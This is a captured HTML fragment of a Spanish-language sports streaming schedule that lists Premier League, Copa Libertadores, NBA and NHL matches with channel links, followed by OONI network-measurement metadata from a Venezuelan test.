<tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-Fox Action.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-Fox Action.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-Fox Action.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-Fox Action.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/rugby.png' alt="" /></td><td>Pro D2:<a href='/tv-canal-201.php' target='_blank'><b>Biarritz vs Montauban en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/rugby.png' alt="" /></td><td>Pro D2:<a href='/tv-canal-201.php' target='_blank'><b>Biarritz vs Montauban en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/rugby.png' alt="" /></td><td>Pro D2:<a href='/tv-canal-201.php' target='_blank'><b>Biarritz vs Montauban en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/rugby.png' alt="" /></td><td>Pro D2:<a href='/tv-canal-201.php' target='_blank'><b>Biarritz vs Montauban en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/rugby.png' alt="" /></td><td>Pro D2:<a href='/tv-canal-201.php' target='_blank'><b>Biarritz vs Montauban en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/rugby.png' alt="" /></td><td>Pro D2:<a href='/tv-canal-201.php' target='_blank'><b>Biarritz vs Montauban en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Real Madrid vs Paris en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Real Madrid vs Paris en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Real Madrid vs Paris en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Real Madrid vs Paris en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Real Madrid vs Paris en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Real Madrid vs Paris en Vivo</b></a></td></t> <tr><td><span class='t'>14:15PM</span></td><td><img src='/JPG/pt.png' alt="" /></td><td>Liga portuguesa:<a href='/tv-goltv Play.php' target='_blank'><b>Sporting CP vs Rio Ave en Vivo</b></a></td></t> <tr><td><span class='t'>14:15PM</span></td><td><img src='/JPG/pt.png' alt="" /></td><td>Liga portuguesa:<a href='/tv-goltv Play.php' target='_blank'><b>Sporting CP vs Rio Ave en Vivo</b></a></td></t> <tr><td><span class='t'>14:15PM</span></td><td><img src='/JPG/pt.png' alt="" /></td><td>Liga portuguesa:<a href='/tv-goltv Play.php' target='_blank'><b>Sporting CP vs Rio Ave en Vivo</b></a></td></t> <tr><td><span class='t'>14:15PM</span></td><td><img src='/JPG/pt.png' alt="" /></td><td>Liga portuguesa:<a href='/tv-goltv Play.php' target='_blank'><b>Sporting CP vs Rio Ave en Vivo</b></a></td></t> <tr><td><span class='t'>14:15PM</span></td><td><img src='/JPG/pt.png' alt="" /></td><td>Liga portuguesa:<a href='/tv-goltv Play.php' target='_blank'><b>Sporting CP vs Rio Ave en Vivo</b></a></td></t> <tr><td><span class='t'>14:15PM</span></td><td><img src='/JPG/pt.png' alt="" /></td><td>Liga portuguesa:<a href='/tv-goltv Play.php' target='_blank'><b>Sporting CP vs Rio Ave en Vivo</b></a></td></t> <tr><td><span class='t'>16:45M</span></td><td><img src='/JPG/ar.png' alt="" /></td><td>Copa Argentina:<a href='/tv-tyc-sport-en-vivo.php' target='_blank'><b>Instituto vs Deportivo Madryn en Vivo</b></a></td></t> <tr><td><span class='t'>16:45M</span></td><td><img src='/JPG/ar.png' alt="" /></td><td>Copa Argentina:<a href='/tv-tyc-sport-en-vivo.php' target='_blank'><b>Instituto vs Deportivo Madryn en Vivo</b></a></td></t> <tr><td><span class='t'>16:45M</span></td><td><img src='/JPG/ar.png' alt="" /></td><td>Copa Argentina:<a href='/tv-tyc-sport-en-vivo.php' target='_blank'><b>Instituto vs Deportivo Madryn en Vivo</b></a></td></t> <tr><td><span class='t'>16:45M</span></td><td><img src='/JPG/ar.png' alt="" /></td><td>Copa Argentina:<a href='/tv-tyc-sport-en-vivo.php' target='_blank'><b>Instituto vs Deportivo Madryn en Vivo</b></a></td></t> <tr><td><span class='t'>16:45M</span></td><td><img src='/JPG/ar.png' alt="" /></td><td>Copa Argentina:<a href='/tv-tyc-sport-en-vivo.php' target='_blank'><b>Instituto vs Deportivo Madryn en Vivo</b></a></td></t> <tr><td><span class='t'>16:45M</span></td><td><img src='/JPG/ar.png' alt="" /></td><td>Copa Argentina:<a href='/tv-tyc-sport-en-vivo.php' target='_blank'><b>Instituto vs Deportivo Madryn en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Sporting Cristal vs Palmeiras en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-2-en-vivo.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-2-en-vivo.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-2-en-vivo.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-2-en-vivo.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-canal-ecuavisa.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-canal-ecuavisa.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-canal-ecuavisa.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-canal-ecuavisa.php' target='_blank'><b>Central Córdoba vs LDU Quito en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-7-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-7-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-7-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-7-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-BrasileiroPlay.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-deportes-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-deportes-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-deportes-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-deportes-en-vivo.php' target='_blank'><b>Bahía vs Internacional en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-directv-sport-en-vivo.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-directv-sport-en-vivo.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-directv-sport-en-vivo.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-directv-sport-en-vivo.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-tygo-sport.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-tygo-sport.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-tygo-sport.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-tygo-sport.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS CHILE.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS CHILE.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS CHILE.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS CHILE.php' target='_blank'><b>Gualberto Villarroel SJ vs Unión Española en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-goltv Play.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-goltv Play.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-goltv Play.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-goltv Play.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>17:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-TNT SPORTS ARGENTINA.php' target='_blank'><b>Puerto Cabello vs Lanús en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-20.php' target='_blank'><b>Philadelphia 76ers Milwaukee Bucks en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-20.php' target='_blank'><b>Philadelphia 76ers Milwaukee Bucks en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-20.php' target='_blank'><b>Philadelphia 76ers Milwaukee Bucks en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-20.php' target='_blank'><b>Philadelphia 76ers Milwaukee Bucks en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-20.php' target='_blank'><b>Philadelphia 76ers Milwaukee Bucks en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-21.php' target='_blank'><b>Washington Wizards Orlando Magic en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-21.php' target='_blank'><b>Washington Wizards Orlando Magic en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-21.php' target='_blank'><b>Washington Wizards Orlando Magic en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-21.php' target='_blank'><b>Washington Wizards Orlando Magic en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-21.php' target='_blank'><b>Washington Wizards Orlando Magic en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-9.php' target='_blank'><b>Montreal Canadiens vs Boston Bruins en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-9.php' target='_blank'><b>Montreal Canadiens vs Boston Bruins en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-9.php' target='_blank'><b>Montreal Canadiens vs Boston Bruins en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-9.php' target='_blank'><b>Montreal Canadiens vs Boston Bruins en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-9.php' target='_blank'><b>Montreal Canadiens vs Boston Bruins en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-8.php' target='_blank'><b>Ottawa Senators vs Tampa Bay Lightning en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-8.php' target='_blank'><b>Ottawa Senators vs Tampa Bay Lightning en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-8.php' target='_blank'><b>Ottawa Senators vs Tampa Bay Lightning en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-8.php' target='_blank'><b>Ottawa Senators vs Tampa Bay Lightning en Vivo</b></a></td></t> <tr><td><span class='t'>18:00PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-8.php' target='_blank'><b>Ottawa Senators vs Tampa Bay Lightning en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-22.php' target='_blank'><b>Brooklyn Nets vs Minnesota Timberwolves en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-22.php' target='_blank'><b>Brooklyn Nets vs Minnesota Timberwolves en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-22.php' target='_blank'><b>Brooklyn Nets vs Minnesota Timberwolves en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-22.php' target='_blank'><b>Brooklyn Nets vs Minnesota Timberwolves en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-22.php' target='_blank'><b>Brooklyn Nets vs Minnesota Timberwolves en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-23.php' target='_blank'><b>Miami Heat vs Memphis Grizzlies en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-23.php' target='_blank'><b>Miami Heat vs Memphis Grizzlies en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-23.php' target='_blank'><b>Miami Heat vs Memphis Grizzlies en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-23.php' target='_blank'><b>Miami Heat vs Memphis Grizzlies en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-23.php' target='_blank'><b>Miami Heat vs Memphis Grizzlies en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Toronto Raptors vs Portland Trail Blazers en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Toronto Raptors vs Portland Trail Blazers en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Toronto Raptors vs Portland Trail Blazers en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Toronto Raptors vs Portland Trail Blazers en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Toronto Raptors vs Portland Trail Blazers en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-7.php' target='_blank'><b>Columbus Blue Jackets vs Colorado Avalanche en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-7.php' target='_blank'><b>Columbus Blue Jackets vs Colorado Avalanche en Vivo</b></a></td></t> <tr><td><span class='t'>18:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NH
Resolver
Resolver ASN
AS8048
Resolver IP
200.44.1.70
Resolver Network Name
CANTV Servicios, Venezuela
Report ID
20250403T040449Z_webconnectivity_VE_8048_n1_JFTYlx2oTZoMqfER
Platform
linux
Software Name
ooniprobe-cli (3.21.0)
Measurement Engine
ooniprobe-engine (3.21.0)